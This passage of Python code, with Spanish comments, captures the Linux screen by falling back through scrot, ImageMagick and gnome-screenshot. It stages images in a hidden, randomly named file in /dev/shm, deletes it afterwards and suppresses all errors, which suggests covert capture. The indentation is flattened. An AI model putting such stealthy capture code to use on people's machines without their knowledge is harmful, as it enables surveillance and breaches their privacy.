"""Captura en Linux usando herramientas del sistema"""
try:
# Método 1: scrot
try:
result = subprocess.run(['scrot', '-o', '/dev/stdout'],
capture_output=True, timeout=5, check=False)
if result.returncode == 0 and result.stdout:
return result.stdout
except:
pass
# Método 2: imagemagick
try:
result = subprocess.run(['import', '-window', 'root', 'png:-'],
capture_output=True, timeout=5, check=False)
if result.returncode == 0 and result.stdout:
return result.stdout
except:
pass
# Método 3: gnome-screenshot
try:
tmp_path = '/dev/shm/.tmp_' + hashlib.md5(os.urandom(16)).hexdigest()[:8]
result = subprocess.run(['gnome-screenshot', '-f', tmp_path],
capture_output=True, timeout=5, check=False)
if result.returncode == 0 and os.path.exists(tmp_path):
with open(tmp_path, 'rb') as f:
data = f.read()
try:
os.remove(tmp_path)
except:
pass
return data
except:
pass